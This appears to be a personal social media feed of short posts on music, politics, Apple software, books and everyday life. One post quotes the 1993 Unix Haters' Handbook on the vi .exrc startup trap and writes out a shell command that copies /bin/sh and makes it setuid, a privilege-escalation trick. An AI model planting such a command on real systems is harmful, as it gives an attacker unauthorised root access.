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truly Orwellian
orwell book spines
January 22, 2026 at 11:46 PM
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FOUND IT (Human Giant S01E7)
Rob Huebel in googles and helmet guy on BMX on surfboard riding a wave, text says Dirt Wave Riding guy on BMX on surfboard riding a wave, text says Durf Bifing
January 22, 2026 at 8:44 PM
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Richard D. James album by Aphex Twin
January 22, 2026 at 5:44 PM
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like with young people having less sex, it's probably because people are inside on their phones all the time
U.S. murder rate hits the lowest level since 1900, report says
January 22, 2026 at 2:13 PM
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I'm enough of a normie lib to oppose activists breaking up church services not matter how repellent the particular ministers are, but it was still surprising that the founder of that MN church is the dude who wrote this satanic book
the sin of empathy by Joe Rigney
January 22, 2026 at 12:29 PM
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pinyin.info/readings/tex...
Whereas modern Mandarin is merely perversely hard, classical Chinese is deliberately impossible. Here's a secret that sinologists won't tell you: A passage in classical Chinese can be understood only if you already know what the passage says in the first place. This is because classical Chinese really consists of several centuries of esoteric anecdotes and in-jokes written in a kind of terse, miserly code for dissemination among a small, elite group of intellectually-inbred bookworms who already knew the whole literature backwards and forwards, anyway. An uninitiated westerner can no more be expected to understand such writing than Confucius himself, if transported to the present, could understand the entries in the "personal" section of the classified ads that say things like: "Hndsm. SWGM, 24, 160, sks BGM or WGM for gentle S&M, mod. bndg., some lthr., twosm or threesm ok, have own equip., wheels, 988-8752 lv. mssg. on ans. mach., no weirdos please."
January 22, 2026 at 12:17 PM
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great album
Kevin Ayers -- Odd Ditties
January 21, 2026 at 3:55 PM
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it seems obvious that the president should not be permitted to fire officials appointed by judges. and the fact that judges have the authority to appoint officers against the wishes of the executive is more indication that the unitary executive theory is BS www.washingtonpost.com/dc-md-va/202...
Still, judges across the country have been cautious in exercising their authority to name replacements for the president’s picks. When New Jersey’s federal judges named a veteran federal prosecutor to replace then-interim U.S. attorney Alina Habba last summer, the Justice Department fired their pick within hours and undertook a series of legal maneuvers aimed at keeping Habba in the role.
January 21, 2026 at 3:00 AM
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lol mattbruenig.com/2025/12/21/t...
Although this was my first introduction to Geoff, I’ve actually met dozens of Geoffs in my life, especially when I used to participate in competitive debate. Geoff is a particular type of person who does not understand how arguments work, does not realize that he lacks this ability, and so winds up spinning his wheels saying things that sort of look like arguments but that are actually just adjacent claims about some of the subjects being argued about. He’s the kind of guy who hangs on at the bottom-rung of academia or the debate circuit who cannot ever figure out why nobody else seems to think his stuff is any good. He can’t see how what he is doing differs from what others are doing because he doesn’t understand arguments have an internal logic, that when you make them you are constructing a system of claims that has to hang together, not just spewing random, disconnected thoughts that express your feelings about something. When he does occasionally write something that works as an argument (I assume this happens), it is like when ChatGPT writes something good: it’s a simulation that happened to hit, not the result of achieving the actual human mental state of understanding.
January 20, 2026 at 3:08 PM
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Amazon Saver Black Tea, very generic label Emilio Estévez in Repo Man
January 19, 2026 at 10:57 PM
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the only "ice" I'm interested in supporting
PWHL Takeover Tour: Montreal Victoire At New York Sirens Sun, Jan 18 • 2:00 PM Capital One Arena • Washington, D.c.
January 17, 2026 at 6:44 PM
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the "cuddlecore" movement produced one of my all-time favorite albums
go sailor
January 17, 2026 at 12:23 AM
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30th Anniversary!
Cub, Come out Come Out album cover
January 17, 2026 at 12:20 AM
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it was my best Christmas gift this year
couch mounted reading lamp
January 15, 2026 at 11:50 PM
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I think it was a mistake for Apple to get rid of the "drawer" -- not all apps should be perfect rectangles, especially with Mission Control / Exposé type views
early OS X screenshot, the "drawer" is a smaller little rectangle that slides out
January 15, 2026 at 3:56 PM
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I might adopt the "B" from the UK Beatles fan club logo as my monogram
a stylized "B" with beetle antenna The Official Beatles Fan Club, logo for the UK fan club, uses the beetle antenna B, has a silhouette of the band
January 14, 2026 at 9:10 PM
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I wish I was able to sleep later than that. Apart from
time zone shifts I'm lucky if I can sleep until 6
What Time Should You Wake Up? Probably Not 5 a.m. Wall Street Journal headline.
January 13, 2026 at 8:53 PM
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hacking used to be so much easier (from the Unix Haters’ Handbook, published 1993)
Startup traps When a complicated Unix program starts up, it reads configuration files from either the user’s home directory and/or the current directory to set ini- tial and default parameters that customize the program to the user’s specifi- cations. Unfortunately, start up files can be created and left by other users to do their bidding on your behalf. An extremely well-known startup trap preys upon vi, a simple, fast screen- oriented editor that’s preferred by many sysadmins. It’s too bad that vi can’t edit more than one file at a time, which is why sysadmins frequently start up vi from their current directory, rather than in their home directory. Therein lies the rub. At startup, vi searches for a file called .exrc, the vi startup file, in the cur- rent directory. Want to steal a few privs? Put a file called .exrc with the following contents into a directory: !(cp /bin/sh /tmp/.s$$;chmod 4755 /tmp/.s$$)& and then wait for an unsuspecting sysadmin to invoke vi from that direc- tory. When she does, she’ll see a flashing exclamation mark at the bottom of her screen for a brief instant, and you’ll have an SUID shell waiting for you in /tmp, just like the previous attack.
January 12, 2026 at 9:29 PM
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a terminal app shouldn't need 90 GB of RAM imo
Ghostty taking up 87.20 GB
January 11, 2026 at 8:39 PM
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lol www.politico.com/news/2026/01...
“I thought we grabbed Maduro to stem socialism in the Americas, not to turn D.C. into Caracas on the Potomac,” said a defense industry official, referring to the capture of Venezuelan President Nicolás Maduro.
January 8, 2026 at 3:18 PM
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i'd be this guy
The collector character from Star Trek the next generation
January 7, 2026 at 2:23 PM
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Using Apple's "clean up" feature to remove glare from my glasses. Worked like a charm! bergmayer.net/glare-removal
glare in glasses on left, replaced by skin on the right. creepy.
January 6, 2026 at 7:27 PM
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ok, great feature
pause media while falling asleep, setting in AirPods settings on iOS
January 5, 2026 at 4:53 AM
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I struggle to think of what could be possibly covered by copyright with this McDonald’s drink carrier. Also “Not approved for use without bag.” Whose approval do I need? Is there a form I can fill out?
Not approved for use without bag Assembled in the U.S.A. by CartonCraft (19025) ©2019 McDonald's (13825-006). Look, maybe you could have a patent claim for the box design. But that’s it.
December 24, 2025 at 7:48 PM
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zoolights had the traditional Christmas Nautilis
A glowing Nautilus exhibit
December 24, 2025 at 4:17 PM